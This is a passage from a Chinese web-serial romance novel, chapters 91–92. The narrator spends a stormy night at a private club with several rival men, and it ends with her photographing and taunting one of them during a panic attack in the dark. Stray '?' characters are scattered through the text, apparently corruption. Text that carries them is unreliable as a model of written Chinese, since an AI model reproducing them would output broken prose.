太暗了,看不清楚脸上的表情,身上的情绪全?是一团黑,浓烈的酒味倾盆而下,将房间里填得?满满当当。 他坐着没动,视线落在我身上,低下头笑了声,“离他远点?,这种事,我不想再看到第二次。” “好吧。” “小冬。”他说,“我真的很生气。” 雷声炸响,闪电照亮整个房屋,也照亮了他的脸。 与众不同的、像是冰块裂缝般的表情浮现,苍白?得?像是一道鬼影,在看清我的时候,他眼中的怒意?顷刻间压了回去。 雨声、风声还有时不时轰鸣的雷声。 但是生气是没有声音的。 他像是在等待我回答,或者说点?什么。 我想了想,说:“那你可以再去揍他一顿。” 坐着的人浸没在黑暗中,只有时不时起伏的胸膛证明?他是个人。 “好。” 他说:“我们冷静下吧。”—— 作者有话说:窝就这样赶生死线,好刺激[眼镜] 总之哥要回来了,所以霍子你就走吧,先腾个位置,和你的兄弟斗去吧 最后一个角色也来了,也是个神经病,本文的神经病含量是不是太高了,十个男配里没几个正常的 鲜花饼是故意的,昨天他有点生气,今天又知道好消息,乘机来捣乱的,总之真心假意都有,后面也该虐他了,他活得好通畅(通畅?) 狗咬狗真的会死狗(默哀)《 》 90-95 第91章 兜兜转转。 我还是回A市了。 霍亦瑀在?说冷静一下?之后, 他真就?冷静了,非常麻利地消失不见,而房子?里空荡荡,昨天被打得散架的更衣室里干干净净, 连一片布料都?没剩下?。 我有点怀疑他大半夜不睡觉, 趁着我睡着, 整个?晚上打扫卫生、搬衣服。 总之。 我们开始冷静了。 对我来说没有什么感觉,其?实我们连恋爱关系都?没有确立,他既没有跟我说过,我也没有跟他说。 但是在?所有人眼里, 我们保持着恋爱关系,甚至已经?绑定在?一起,我懒得纠正, 就?这样糊弄着保持到现在?。 所以这个?冷静到底是在?冷静什么,我真的不太懂。 昨天的混乱结束,我有点不满意。 原来就?算当?面挑衅,霍亦瑀也能保持体面, 面不改色地继续躺在?我旁边。 我还以为他会做出些更激烈的事,等着看好戏呢,结果稀里糊涂地睡着了,醒来只剩下?空荡荡的房间。 早知道, 我就?不给他指路了。 说不定看到颜升穿他的衣服, 他会表现得更强烈一点。 回到A市后, 我先去了酒店。等了半晌, 有人敲响房门,我才看到戴着眼镜和帽子?、几乎遮住大半张脸的浦真天。 “所以。” 我坐在?床上,抱着抱枕, 歪着头看他:“栾明的消息是什么?” “嗯……” 他犹豫片刻,最后无奈地笑了下?,摘下?帽子?:“我想起以前的联系方式,试探着给他发了消息,没想到他回复了,但只回复了让我们回A市,其?他的没说明。” “所以栾明让我们回来,然后什么事也不说?” 浦真天点了点头,摸了下?后脑勺,苦笑一声:“明子?有他的打算吧,毕竟五年?过去了,他也做了不少?事。” 我瘫倒在?床上,抱着枕头,心里有着淡淡的释然。 果然,除了我眼前这个?,身边没一个?正常人。 浦真天越看越淳朴,比起其?他总是弯弯绕绕、搞不懂在?想什么的人,他几乎称得上随叫随到,让他做什么就?做什么。 棉花糖的气息萦绕在?身边,我翻了个?身,说:“那?我们出去玩吧。” “被拍到的话……不要紧吗?” 他迟疑着,又补充道:“如果小冬想去的话,我也一起。” 出去的确会被拍,我已经?很久没有去人潮人海的地方了,记忆里的超市仿佛已经?是另一个?世界。 于是想了下?,说:“那?去私人会所好了。” “如果栾明明天还不回消息,那?我就?——” 我思考着,在?大脑里搜刮惩罚方式,但他又不在?我旁边,想不出怎么做能实质性惩罚他的方法,除了更换称呼,还有什么能够让他难受? 他可能是个?无业游民,因为害怕被我瞧不起所以才不敢来见我,最近找到了工作,所以终于感露面了。 天天看到我的海报,肯定很羡慕吧。 “你就?回去吧。”浦真天说,“没事,我可以在?这里等他。” “你为什么对他那?么好?” 浦真天笑了下?:“因为我们是朋友啊。” 有的朋友可不是这样。 想起昨天晚上霍亦瑀和颜升打架的场景,我有点可惜没开灯,看不清具体情况。 “那?你对我一定要比他更好。” 从小到大,栾明身边从没有出现过被称作是朋友的人。 我想到了,我要把栾明的朋友抢过来,让他一个?孤独寂寞,反正不准跟他玩,等他追悔莫及,我再还给他。 浦真天在?某种程度上,已经?成了大家的流行通货,承担着被抢来送去的命运。 听到我的话,他忍不住笑了起来,有些怀念,柔声道:“好。” “走吧。” 我翻身下?床,元气满满地说:“我们出去玩!” 司机在?看到浦真天的时候,表情有一丝的便秘,他似乎看不惯浦真天,以前总会好几次看后视镜,今天连看都?不想看了,开车的手法也比以前多了一丝淡淡的忧伤。 抵达私人会所后,我十分自然地领着浦真天走进大厅,神气地带他参观了一圈。 看着他时而露出惊叹的表情,我摸了摸鼻子?,哼哼哼地笑。 如果栾明来了,肯定也会露出这幅表情。 服务员带着我们走进新装修好的房间,上次的参观之后,他们发来装修方案,服务态度十分良好,说什么我是高级会员,可以做任何想做的事,还开通了过夜服务。 我十分受用?,更加可惜他们竟然不卖,而且颜升还是最大的股东,像是被狗撒了尿,浑身上下充斥着他的气味。 不行,这个比喻好臭。 说起颜升,昨天晚上之后,他发来在?医院里的照片,一副被打得精神失常、生活不能自理的柔弱作态。 但我一点也不想理他。 就?是不想搭理他,上床两次就彻彻底底地腻了。 他总是在?做些小手段,让我不爽,虽然不知道在?计谋什么,但是这种鞋底粘着口香糖,毛衣上不经?意留下?米粒的感觉…… 非常不爽。 顺便连邛浚也一起讨厌了。 昨天的事不知道他会不会传播出去,但很快我收到了来自柯觅山的问候。 [柯觅山(还没打脸)]:^^ [柯觅山(还没打脸)]:最近暴雨频繁,今年?的冬天会更加寒冷,更适合待在?家里,不宜外出 [世界第一恶魔大人]:你又在?说胡话了 [柯觅山(还没打脸)]:实话而已 [柯觅山(还没打脸)]:我不想多嘴,但是颜升那?种人,不是个?好选择 [柯觅山(还没打脸)]:不怀好意接近你的人很多,擦亮眼睛吧,至少?我不想看到你栽在?他身上 [世界第一恶魔大人]:你也没好到哪里去 现在?三个?人并列成为我最讨厌的人选了。 他的回复速度迟缓,几乎过了一分钟,消息才姗姗来迟。 [柯觅山(还没打脸)]:我真的有点想知道,颜升到底给了你什么,让你这么说话^^ [世界第一恶魔大人]:他跪下?来给我舔了,要不然你学下?吧 [柯觅山(还没打脸)]:…… 我放下?手机,看向站在?客厅里、不知道应该做什么的浦真天。 因为无事可干,我拿起游戏机,将其?中一个?手柄递给他。 “反正出不去,我们游戏吧。”我说,“要是是冬天,我们就?可以去山上滑雪了。” “原来还有滑雪场。” 浦真天接过手柄,有些不好意思地说:“我可能有点菜。” 我自信地拍拍胸口,说:“我带你。” 菜就?来玩对战游戏,我要暴打菜鸟。 然而,半小时后。 我放下?手柄,陷入了人生的疑惑中。 什么菜啊,这家伙明明超级厉害,比宗朔还强,手指反应速度极快,明明是能够去当?电竞选手、去赚几千万奖金的人。 如果有他这种手速,我现在?应该是电竞选手。 “你走错路了。” 我认真地对他说:“当?什么模特,你应该去打电竞啊!” “是吗?” 浦真天有些惊讶,看着手柄,后知后觉地说:“但是以前没时间玩游戏……其?实也没有那?么厉害,只是小冬觉得我很好而已。” “才不是,我明明很客观,是真的可以去当?!” 我兴致勃勃地翻出手机里收藏的视频,放给他看。 “这里的操作速度比你慢诶,刚才你释放技能真的超厉害,而且——当?男公关和模特你也很厉害诶。” 仔细想了想,就?可以发现浦真天并不是看上去那?么迟缓,虽然总是一副拍扁了任捏的样子?,但其?实无论?做什么,他都?还不错诶。 我觉得自己抓住了天机,莫名起劲。 “你看,你在?男公关的时候只比宗朔差,之后去当?模特也能赚钱,现在?还可以去当?电竞选手。” 我猛地拍手,两眼放光:“你做什么都?很好啊。” “只是运气好而已。” 浦真天放下?手柄,脸上泛起笑意。 我问:“你为什么去做模特来着?” 他脸上的笑容淡了些,垂眸盯着自己的手,视线看向窗外:“其?实在?[极乐世界]倒闭后,我也不知道自己要做什么,但是因为家里的事,要赚钱。” “……之后被人推荐去了模特公司,然后遇到了泉卓逸。” 他恍然说:“运气这种东西,总是在?不正确的时候来到。” “说明老天很喜欢你啊。” 我摸了摸下?巴,说:“我运气也挺好的。” 再烂能烂到哪里去,只要一直处于低谷,做什么都?是往上,拥有这样的心态,是我成功的原因。 我忽然有点想参加访谈节目,对着主持人大谈特谈成功经?验,然后在?闪光灯下?出个?自传,然后再让别人拍电影。 有一种成功人士的余韵。 我:“你以后想做什么?” 浦真天愣了下?,摇摇头,反问:“那?小冬呢?” “没想好。” 我说:“就?这样也挺好的。” “那?我可以一直在?小冬旁边吗?” 浦真天说:“因为我也想不到要做什么,所以能够一直跟在?小冬后面吗?” “你和泉卓逸说得好像。” 但又有区别,比方说浦真天一直看着我说出这句话,眼睛里像是一条被丢掉的小熊,温和地看着我。 而泉卓逸却有各种棱角,看人时也是一副执着的模样。 像他们两个?,为什么关系会变好呢? 我有点疑惑。 忽然门口响起铃声。 浦真天立即起身,先一步去开门。 我听到他有些迟疑地说:“泉卓逸……你怎么在?这?” “我不能来吗?” 属于泉卓逸的、清越的声音响起,像是蒙着一层纱,有些咬牙切齿:“为什么你会跟着她?” “我们是一起来的。” 嘭地一声,门被彻底推开。 泉卓逸面沉如水,但在?看到我的瞬间又软和了神情,带着点迟疑不定的。 “我……我也想进来。” 他焦躁地、小心翼翼地问:“可以吗?” 我瞥了浦真天一眼,故作沉思,视线在?他们之间徘徊,先对浦真天说:“好。” 泉卓逸原本扬起笑,但很快他反应过来,眉头拧起。 “我说好了。”我说,“你进来吧。” 他来到我旁边坐下?,掩饰不住焦躁,手指持续摩挲着膝盖,嘴唇微张,想说什么。 但我抢先一步:“你是不是加入我的私生群。” “……没有。” 他绝对是其?中一员,而且和邛浚在?同一个?群里。 所以我的身边不仅有神经?病,还有私生饭。 我们三个?在?房间里打游戏,泉卓逸水平和我相当?,所以我可以尽情地嘲讽他,但他接受良好,甚至焦躁全无,尤其?地开心。 他迫不及待想要插入我和浦真天之间,像只急切地摇尾巴想要博取关注的狗。 难道浦真天只是存在?,就?让他急得头上冒火了? 放下?手柄,我想了想,说:“你来这,你哥知道吗?” “为什么提他?”泉卓逸说完,又赶忙掩饰过去,僵硬地说,“他不知道,我今天休假,他有事要忙。” 像这种事,我总有一点怀疑。 这种怀疑就?像是在?买菜的时候,菜已经?出现虫洞,但买家拼命地说它没坏,最终半信半疑地购入。 结果最后证明,它就?是坏的! 总之,泉卓逸加入了我们,然后赖着不走了,还问我们来这干嘛,直到太阳落山,得知浦真天要留下?后,也说自己要留下?。 “你不用?上班吗?” “我最近休假。” 他抿着嘴唇,别开脸,露出耳朵上的、缀得满满当?当?的饰品。 他知道我在?看,一直保持着扭头的动作,直到脖子?不舒服,才抬起手摸了下?耳朵。 等我移开视线,他又转回头,来来回回看我和浦真天。 我忍不住问:“你到底在?看什么?” “我没有!” 他脱口而出,紧张地来着着我,发现我没有反应后,又转头看向浦真天,有些气急败坏地说:“上次我带你去见小冬,这次你凭什么不叫我?” 浦真天平静地说:“我们有私事。” 泉卓逸忍不住气恼,但始终不敢向我撒火,埋着头生闷气,用?手揪地毯上的毛,过了会,他自己调理好了,拿起手柄又想着挤进来。 此?时外面已经?漆黑一片。 浦真天拿起手机确定天气,昨天H市下?了暴雨,今天就?该轮到了A市了,仿佛那?朵乌云跟着我。 外面开始哗啦啦刮风,泉卓逸点了几个?餐品,一边等待,一边跟我们吐槽:“住在?这里不如去酒店,至少?有多余的房间。” “那?是因为你没有特权。” 我得意地说:“不像我。” “你最厉害。” 他特别狗腿地说:“那?多收留一个?我也没事吧。” 我不禁感到疑惑:“你干嘛缠着我们?” 泉卓逸的眉头皱紧,咬下?唇:“浦真天可以,我就?不可以吗?” “留下?吧。” 浦真天叹气说:“我可以打地铺。” 泉卓逸瞥了他一眼,又转头看向我,手指交缠在?一起,惴惴不安地说:“可以吗?” 我摸摸下?巴,最终点了点头。 他忍不住露出高兴的神情,“我们可以玩游戏,或者其?他的桌游,我记得这里提供了很多东西——” “咚咚。” 他起身往门口走,嘀咕道:“这么快就?送到了。” 但在?开门前,我嗅到了一丝奶味冰淇凌的气息—— 作者有话说:写得太长了,只能放在下一章,窝不是故意断章的![爆哭] 写到拙拙就爱犯蠢,他哥出来双重地蠢,原本设定蠢蠢的普子成了最聪明的那个(为何) 第92章 泉卓逸打?开门, 出现在他?眼前的不是服务员,而是泉越泽,他?愣在原地,半晌后?才吐出一个字:“哥……?” “回去。” 属于泉越泽的、低沉冷淡的声音响起。 他?说:“趁着出差来这里, 你早有打?算吧, 没有一点尊严吗?舔着脸把?自己送到嘴边, 你是不是还?活在以前啊。” “泉卓逸。给我滚回去。” 门外走廊的光线在他?身后?拖出长?长?的影子,仿佛是怪物的尾巴,让泉卓逸不知作?何反应。 浦真天看了我一眼,有些担忧地按住我的手, 低声说:“要不然我过去说明一下。” “你过去只会被兄弟双打?啦。” 我拍拍他?的肩膀,“我们就坐在这里看戏好了。” 今天晚上吃得很饱,我兴致勃勃地准备看一场好戏。 泉卓逸背对着我们, 握着门把?手的手逐渐收紧,直到指尖发白。 而他?对面的泉越泽只隐约露出半张脸,侧身站在门口,视线却穿过昏暗的客厅, 准确无?误地落在我身上。 房间里的空气?凝固,只有窗外渐起的风声在填充寂静。 “我不回去。” 泉卓逸说:“我想做什么事我自己的事。” 说完,他?想把?门关起来,但被泉越泽一只手稳稳把?住, 两个人沉默地比拼着手劲, 门轴发出不堪重负的吱呀声。 几秒后?, 外面的人获胜了。 泉越泽甚至没有显出多用力的样子, 只是平静地向前一步,门便被推开,连带着将泉卓逸往后?推了一个踉跄。 泉卓逸勉强后?退, 怒气?冲冲地说:“你不能?每次都强迫我做事!我跟在别人屁股后?面是我自甘堕落,和你又有什么关系?!” 他?像只被侵入地盘的野生动?物,浑身上下竖起毛发,试图击退面前的人。 我还?没见?过他?像现在这样如临大敌的时候,像是真的要被抢走东西似的,遮掩不住浑身的焦躁。 泉越泽慢慢皱起眉,那点微小的表情?变化在光影里几乎看不清,奇怪的是,在泉卓逸说完话后?,他?反而将目光更直接地投向我。 对上那双深绿色的眼睛时,我不由产生了疑惑。 看我干嘛?难不成想擒贼先擒王? 我立马警惕起来,也怒气?冲冲地说:“这是我的房间,你赶紧出去。” “……栾小姐。” 他?瞥了一眼仍挡在身前、满脸戒备的泉卓逸,在他?警惕的注视中,径直朝我走来,皮鞋踩在地毯上,声音闷闷的。 “你为什么现在会出现在A市?” 泉越泽站定,居高临下,语气?平淡却带着无?形的压力:“这里可不是H市,也不是霍亦瑀的地盘。” “你在威胁我吗?” “我只是想和你沟通一下。” 他?说:“既然有矛盾,那更应该聊一下了,关于我弟的事,关于你的事,不如在今天彻底解决个干净。” 还?说不说在威胁!我看他?是故意想要激怒我。 我冷笑一声,朝泉卓逸挥手:“把?门关上!” 我们三个还?打?不过他?了?搞笑! 泉卓逸愣了一下,但很快反应过来,嘭地一声将门重重关上,隔绝了走廊的光线,房间里瞬间安静了不少。 泉越泽眉头微蹙,疑惑地看向我:“我只是想跟你说个明白,这种手段……你认真的?” “我想做什么就做什么,说打?你就打?你。”我做了个鬼脸,“反正你走不了。” 几乎在我话音落下的同一瞬间,窗外咔嚓一声惊雷炸响,震得玻璃窗嗡嗡作?响,紧接着,整个房间的灯光瞬间熄灭,陷入一片纯粹的黑暗。 只有紧接着的闪电,像惨白的利刃,在刹那间照亮房间里面前定格般的表情?。 泉越泽的瞳孔骤然收缩,他?身体几不可察地往后?一倾,脚跟甚至挪动?了半步。 我观察得很仔细。 他?就是怕了。 我得意地凑近,抱着手臂说出反派台词:“想走是吧,求我啊。” “小冬。”泉卓逸犹豫的声音从门边传来,带着点不安,“门……门好像从里面也打?不开了。” 我后?知后?觉,哦,停电了,电子锁估计也失灵了。 浦真天起身来到我旁边,往窗外看了眼,冷静地说:“下面已?经有员工亮灯了,等会他?们就会来门口。” 我也忘记要打?人的事,往楼下看去。 楼下花园里,几束手电筒的光柱在暴雨中慌乱晃动。 另一边,泉越泽已?经低下头,手机屏幕的光照亮了他紧绷的下颌线。 他?在屏幕上快速敲打着,片刻后?,似乎收到了回复,才几不可闻地吐了口气?,用那种惯常的、听不出情绪的平淡语调说:“已经通知启用后?备电源了。” “都怪你啊。”我不禁怒从心中起,新仇旧恨交织在一起,“每次遇到你,我都要倒霉。” 泉越泽:“我想,只是你认为而已。” “泉卓逸,给你哥一巴掌!” “……” 泉卓逸沉默了两秒,语气?生硬:“……离我们远点。” 他?还?是不敢,毕竟他?的经济命脉还?捏在对方手里。 我不由惆怅地叹了口气?,后?知后?觉开始想冷静的事。 钱还?没分割呢,冷静要冷静多久? 我唉声叹气?,瞬间浑身力气?都被抽走,瘫在地毯上不动?了。 一只温热的手掌轻轻碰了下我的额头,安抚性地磨蹭下,很快离开,浦真天蹲在我旁边。 他?抬头朝黑暗里泉越泽站立的方向说:“泉先生,我不知道您到底想对小冬说什么,但这肯定不是她的错,我想,你们之间是不是有什么误会?” “如果一直用这种态度,无?论是谁都不会和你好好说话的。” 他?说:“现在我们都关在这里,还?是平和点吧,毕竟房间的主人不是你。” “我知道你。”泉越泽平淡地说,“一个男公关能?走到现在,可不容易,你签约的公司是最?近在H市投资的项目吧。” 浦真天沉默片刻,回答:“是。” 听到他?的回答,泉越泽又自顾自地沉默了,虽然他?没说话,但我被他?的思考吵到了。 三道视线落在我身上,而我只想叹气?,人生怎么会这样,我的情?绪经过大起大落,现在是淡淡的忧伤。 我唉声叹气?,将自己蜷缩成一团。 脚步声接近,泉卓逸蹲下身,跪在我旁边的地毯上。他?试探着想碰我的手臂,声音着急:“别管他?了,你就当他?是空气?,他?自己会走的……我们都不搭理他?。” 他?觉得这样就能?解决问题,却没想到问题是他?引过来的,虽然打?扮变了,但我坚信他?的内在始终不曾改变。 泉卓逸还?是个只会掩耳盗铃的蠢货。 我觉得他?非常没用,于是拍开他?的手。 泉越泽一直沉默着。直到又一道炸雷滚过,震得人心头发麻,他?才开口。 “我向你道歉。” 他?说:“但是事还?是要说清楚。” “说什么说!我都说了是我自己想来的。” 泉卓逸烦躁地说:“你到底想干什么?” 咬人的狗不叫,叫的狗压根不咬人,你快点冲上去打?他?啊! 浦真天出来打?圆场:“算了,大家都少说一句吧,我觉得你哥也只是担心你。” 泉卓逸冷笑一声,不回答。 “泉先生,”浦真天转向另一边,“您也……少说一句吧。” “我什么也没说。”泉越泽淡淡道。 “……那,大家先坐下?等员工来开门。”浦真天提议,摸索着想去开茶几上的备用烛台,用桌上的打?火机点燃了唯一的、暖黄色的光。 他?的脸被光照亮,眉头微微隆起,担忧地看向我,眼底摇晃着烛光,想到什么,拿过沙发上的抱枕,小心翼翼地塞进?我的手臂里。 泉卓逸还?在我耳边絮絮叨叨,像个苍蝇似的想要拉过我的注意力,但被浦真天拉了一下,他?不甘心地闭上嘴。 好一会儿,浦真天又来试探我的温度,像是在担心我气?急攻心,立马生病发烧。 我仍然瘫倒在地毯上,拍了下他?的手,叹气?道:“我没事,我只是在想其他?的事。” 泉卓逸立马问:“什么事?” “男人。”我说,“男人真是难以预测啊。” 泉越泽笑了一声,泉卓逸率先向他?瞪去。 不知道什么时候,泉越泽也靠近了,就站在烛火能?照到的最?大范围里,晦暗的光落在睫毛上,像是变换了颜色,垂着眸,不知道在想什么。 注意到我的视线,他?再次看了过来。 “来做点其他?的吧,不要想他?的事,我们来玩手机游戏、看电影或者聊天……反正不要想他?,就当他?不存在,你要骂他?都可以。” 泉卓逸语速飞快,甚至有点结巴,他?忽然想到什么,提高音量说:“真心话大冒险、做惩罚游戏——什么都可以!” 真心话大冒险? 我的脑子里忽然蹦出一副画面,群魔乱舞的男模们、欢声笑语接连不断的客人,以及坐在客人旁边的男公关。 在喝酒游戏上,我也是个只见?过猪跑的恶魔。 “那好!”我瞬间起立。 “那就来真心话大冒险吧!” 浦真天愣了下,视线看向另一边,迟疑道:“我们四?个人吗?” 要加上泉越泽吗? 答案是肯定的,我一定要让他?好看才行。 姓泉的两个人同时开口。 “不行,他?——” “我不想加入这种事。” 我大声地说:“你跟我玩,我才会跟你聊,要不然,你等去吧!” 如果他?再不同意,那我就顺水推舟再跟他?吵架,然后?直接冲上去揍他?,有理有据地引发三打?一。 主要是浦真天和泉卓逸都是不敢动?手的人,泉卓逸实际很怕他?哥,而浦真天,他?应该不想打?人。 我略施计谋,绝对要让泉越泽求我。 而他?不做声,忽然说:“那就看看吧。” 他?竟然同意了,震惊的不只是我,泉卓逸也露出了难以接受的表情?。 泉卓逸盯着他?看了许久,一言不发起身,从旁边的酒柜里拿出许多酒,然后?用力放在桌上,“拒绝就喝酒,完成不了也必须喝酒,你要参加?” 泉越泽表情?冷淡,没有回答他?。 而泉卓逸脸色微变,被我叫了一声,才心神不宁地坐下。 游戏开始。 我兴致勃勃地转动?酒瓶,然而落点指向了浦真天。 我在心里可惜,问:“真心话还?是大冒险。” 浦真天:“……真心话。” 怎么是真心话啊,如果是大冒险,我要他?去给泉越泽一拳头,于是我兴致全无?,看向泉卓逸,“你说个吧。” 泉卓逸脸色仍然沉着,半晌后?才反应过来,心不在焉地说:“你有没有做过后?悔的事。” “有。” “是什么?” 浦真天愣了下,垂眸说:“太多了,如果要说的话,第一个是没有早点发现家里的困难,后?悔迫不及待想要离开家乡。” 泉卓逸兴致寥寥,抬手转动?桌上的瓶子。 这一次,瓶口对准了我。 我高兴地举手:“真心话。” “我来问。”泉卓逸抢先一步,他?深呼吸,低着头问,“过去五年里,你有没有想过我?” 我想了想,老实地回答:“没有。” 但如果一闪而过全是想起的话,那我应该想过他?。 黑暗里,他?好像短促地吸了口气?,抓起杯子、仰头猛灌,而另一边,泉越泽又发出了一声极轻的嗤笑声。 我纳闷:“你喝什么,还?没到你啊!” “口渴。” 泉卓逸干巴巴地说,而转动?瓶子的重任交给他?旁边的泉越泽,他?身体前倾,请动?手指,瓶口在晃动?的烛火下转动?,指向了泉卓逸。 “……大冒险。” 泉越泽:“既然口渴,就把?瓶子里的酒全喝了吧。” 泉卓逸默了默,拿起酒瓶灌进?嘴里,等一口气?喝完,他?一声不吭地擦嘴,将瓶子沉沉地放在桌上,说:“再来。” 下一次,瓶口转向浦真天,而他?再次选择了真心话,在不痛不痒的问答后?,游戏开始变得无?趣。 这个瓶子怎么也转不到泉越泽面前,像是被做局了似的,一直在泉卓逸和浦真天两个人面前,而他?们大部分时候都在喝酒。 酒气?在黑暗闷热的房间里逐渐弥漫开,混合着窗外的土腥味和雨汽,酝酿出一种令人昏沉又躁动?的气?味。 最?后?,泉卓逸摇摇晃晃地抱着头,而浦真天也倒在沙发上,像是睡着般半遮住脸。 房间里再次安静下来,我握住瓶子,深感无?聊。 “这就是你想看到的场面?” 泉越泽忽然开口:“你好像很喜欢看着他?们为你斗得头破血流。” “谁头破血流了?”我眨了眨眼睛,疑惑地说,“你眼睛瞎吗?” “有区别吗?” 他?顿了顿,声音压得更低,少了些冰冷,多了种沉郁的质感:“我知道颜升和你的事,霍亦瑀也知道,他?们之间的斗争只会越来越激烈,而且……接下来的一段时间,A市不会太平,你应该想想自己该怎么离开这个漩涡,谁卷进?来,都会被扒掉一层皮。” 他?总结道:“如果你脑子还?清楚的话,离开是最?好的选择。” “别自说自话了。” 我把?桌上的瓶子朝他?丢去:“喝点酒吧,说不定你喝醉了,能?说出点像样的人话。” 他?把?瓶子放在一边,坐在原地不动?。 窗外的雷声似乎滚到了天边,只剩下瓢泼大雨冲刷世界的噪音,就在这时,门口传来了敲门声和隐约的人声。 泉越泽几乎是立刻站了起来,动?作?快得带起一阵微风,他?快步走向门口,我也好奇地跟了过去。 “抱歉,客人,突然的雷暴雨导致主线路故障,我们措手不及,实在万分抱歉!今天的失误我们会立刻进?行赔偿……”员工焦急的声音透过门板传来。 咔哒一声轻响,门锁开了。 门外走廊的光线和员工手电筒的光一起涌了进?来,刺得人眯起眼,员工看到站在门口的泉越泽,明显愣了一下。 他?身后?除了维修工具箱,果然还?跟着一辆餐车,但是泉卓逸和浦真天已?经喝趴下了,餐车也没用了。 但我始终坚信有比没有好。 “你放进?去吧。”我说, 员工连忙照做。泉越泽却仍然立在门口,侧身让过餐车,目光看向我。 “既然暂时走不了,”他?说,“按照约定,聊一聊吧。” 我跟在他?身后?,想看看他?会说出什么屁话。 走廊里一片昏黑,他?脚步停顿,最?后?迈进?旁边玻璃后?的花园里。 这里的应急灯已?经亮起,光线昏暗,原本的雪景被换成了热带雨林,像是随着季节更换。 顶部是玻璃穹顶,此刻被雨水疯狂拍打?,发出噼里啪啦的敲击声,模糊可见?漆黑天空上偶尔流窜的电光。 在迈进?这里时,泉越泽紧绷着脸,站在相对于光线明亮的藤椅旁边,仍然皱着眉头。 我随便夹起一片树叶:“说吧,你想说什么。” “关于之前我说的、关于你应该离开泉卓逸的事。” 他?微微侧过身,面对我,应急灯的光在脸上投下深刻的阴影:“还?有其他?所有的事。” “都说了是他?主动?粘着我了,你跟他?说不行吗。”我说,“难不成他?不听你的,就成了我的错了?” “还?有我们之间的矛盾。” 泉越泽简短地说:“上次在马场。” “那是因为你刚开始来招惹我。”我立马反驳道。 “如果你不来找我,我绝对不会去先你麻烦,你该想想自己的问题。” 被我看着,他?更加不适了,像是受不了似的,别过头,胸膛起伏的弧度明显,眉宇间皱褶加深,下颌线绷紧,嗤笑一声,“你倒是牙尖嘴利。” “最?开始我只是想跟你说明一下情?况,你何必反应过激,认为我是去找你麻烦的?” 如果他?笑容满脸,再送点钱,我才会觉得他?是来好生说明的,但这人天生一副死人脸,怎么看都不像是态度友好的人。 我故意气?他?,说:“你管我,先撩者贱。” 泉越泽瞥了我一眼,但很快移开视线,莫名松懈下来,看向哗啦啦的玻璃穹顶。 “五年前的消息,我已?经记不清了,但事实证明,你和泉卓逸不合适待在一起,你只会让他?陷入更深。” “更深的什么?” “你知道他?有病吧。” “负面情?绪,情?绪泥潭……或者说是自怨自艾,一旦陷入这种情?绪,他?就会越沉越深,不断地伤害自己,又在伤害自己里获得快乐。” 他?说:“我们的父亲也有这种病,而它是治不好的,只能?控制,而控制需要绝对的稳定和远离刺激。” “我不想看到他?像那样死掉,至少现在不行。” 他?转回目光,直视我,语气?平静得像在陈述天气?,身上的情?绪也是,甚至是略显愉悦的,这更让我搞不清这件事到底重不重要。 在朋友之后?,我又产生了同样的疑惑。 “他?真的是你的弟弟吗?” 泉越泽:“你需要血缘证明报告?” “才不要嘞。”我说,“你说来说去,就像是为了利益不得不这么做似的,所以,他?到底对你来说是什么?工具?宠物?还?是碍眼的东西。” “这种事,你不应该很清楚吗?” 他?整理了下袖口,冷淡地说:“你不应该很清楚吗?利益和责任,往往是驱动?人行动?最?清晰的理由,利益关系是这个世界上最?简单、最?稳固的关系,就像你和霍亦瑀之间最?初那样,这个世界,有简单的关系,也有麻烦的关系。” 泉越泽顿了顿,说:“他?属于后?者,而你现在,正把?他?变得无?比麻烦。” 搞不懂。 所以现在是在讨论泉卓逸的使?用方法吗? 我不由发出疑问:“所以,你到底是想他?好还?是不好?” “跟在你身边,他?不会好的。” “那你呢?说到最?后?,你好像没有存在过一样,明明是你在接近我,不停地出现在我面前。” 我说:“你接近我,你会好吗?” “……” 雷电轰鸣,上方的天空宛如爆炸般裂开,周围的灯光闪烁,而泉越泽的表情?有一瞬间的异样,他?拧着眉,脸色奇差。 “今天就这样吧。” 他?抿着唇:“我没什么可说的了。” 而奶味冰淇淋孜孜不倦、存在感十足地钻进?鼻腔。 就在他?往外走的同时,毫无?预兆地,头顶的应急灯剧烈闪烁起来,紧接着啪一声,彻底熄灭! 整个花园瞬间被厚重的黑暗吞没,只剩下玻璃外狂暴的雨幕和遥远天际极其微弱的天光。 他?往外走的脚步显然乱了,踉跄了一下,紧接着是更重的一声,他?好像被什么绊到,整个人失去平衡,摔倒在地。 手掌撑在地面湿冷瓷砖上的摩擦声,和他?陡然变得粗重、混乱、如同故障机箱般的喘息声,在晦暗不明的环境和雨声包围中,被无?限地放大。 视觉被蒙蔽,嗅觉和听觉就会变得更加灵敏。 不用眼睛,我就能?知道他?在哪个地方发出失序的喘息,身上的情?感像是被洒了一地,不断地提醒着我,他?在哪里。 我来到他?旁边,也跟着蹲下,戳了下他?,好奇地说:“你怕黑吗?” 他?没说话,而是保持着同样的动?作?,似乎闭了下眼睛,在我戳他?的时候,下意识握住我的手。 在意识到握着什么时,他?瞬间甩开手。 “我在帮你诶。” 我掏出手机先拍了张照,瞬间照亮了整片空间,将他?狼狈的模样全部记录下来。 旁边的人一直抖得不停,我则欣赏着新鲜出炉的照片。 里面的人脸色惨白,眉头微蹙,额角脖颈湿漉漉的冷汗,眼睛因为强光刺激和别的原因而紧闭,在闪光下白色的睫毛几乎透明。 丑照到手,以后?他?就得看我脸色活着了。 这张照片越看越顺眼,我不由笑出了声。 “打?开闪光灯。”他?喘着气?说。 “不行。” 我好声好气?地说:“你忘记礼仪了吗?应该求我才对。” 他?不吱声。 于是我碰了下他?的脸,触碰到冰凉的温度,他?一直在冒冷汗,似乎陷入某种癔症,隔着皮肉能?感受到他?咬紧的牙齿。 手指滑到他?紧绷的下颌,能?清晰地感觉到皮肤下肌肉不受控制的、细微的痉挛和颤动?。 这种情?况应该不会死掉吧。我想,我要再玩一会。 “不……行……”他?从齿缝里挤出字,呼吸更加困难,“开……灯……” 他?为什么不拿出手机自己给自己开灯?因为现在完全动?不了吗?那既然知道自己有病,为什么不提前准备好,比方说把?衣服换成荧光服,黑了自动?发光。 警惕性这么差,像他?这种人,和泉卓逸一样很难在野外活下去啊。 我一边想,一边说:“说请。” 时间在黑暗和雨声中粘稠地流淌,不知过了多久,我听到他?极其艰难地、几乎是从喉咙深处碾磨出来的声音。 “请……求你了。” 我拍了下他?的头,把?闪光灯打?开。 他?像是濒死的人终于浮出水面,猛地吸了一大口气?,胸膛剧烈起伏,整个人脱力般微微放松,但脸色依旧苍白如纸,睫毛颤抖着,半晌没有睁开。 “黑有什么好怕的,我在你旁边呢,有谁偷袭,我第一个知道。” 泉越泽不作?声。 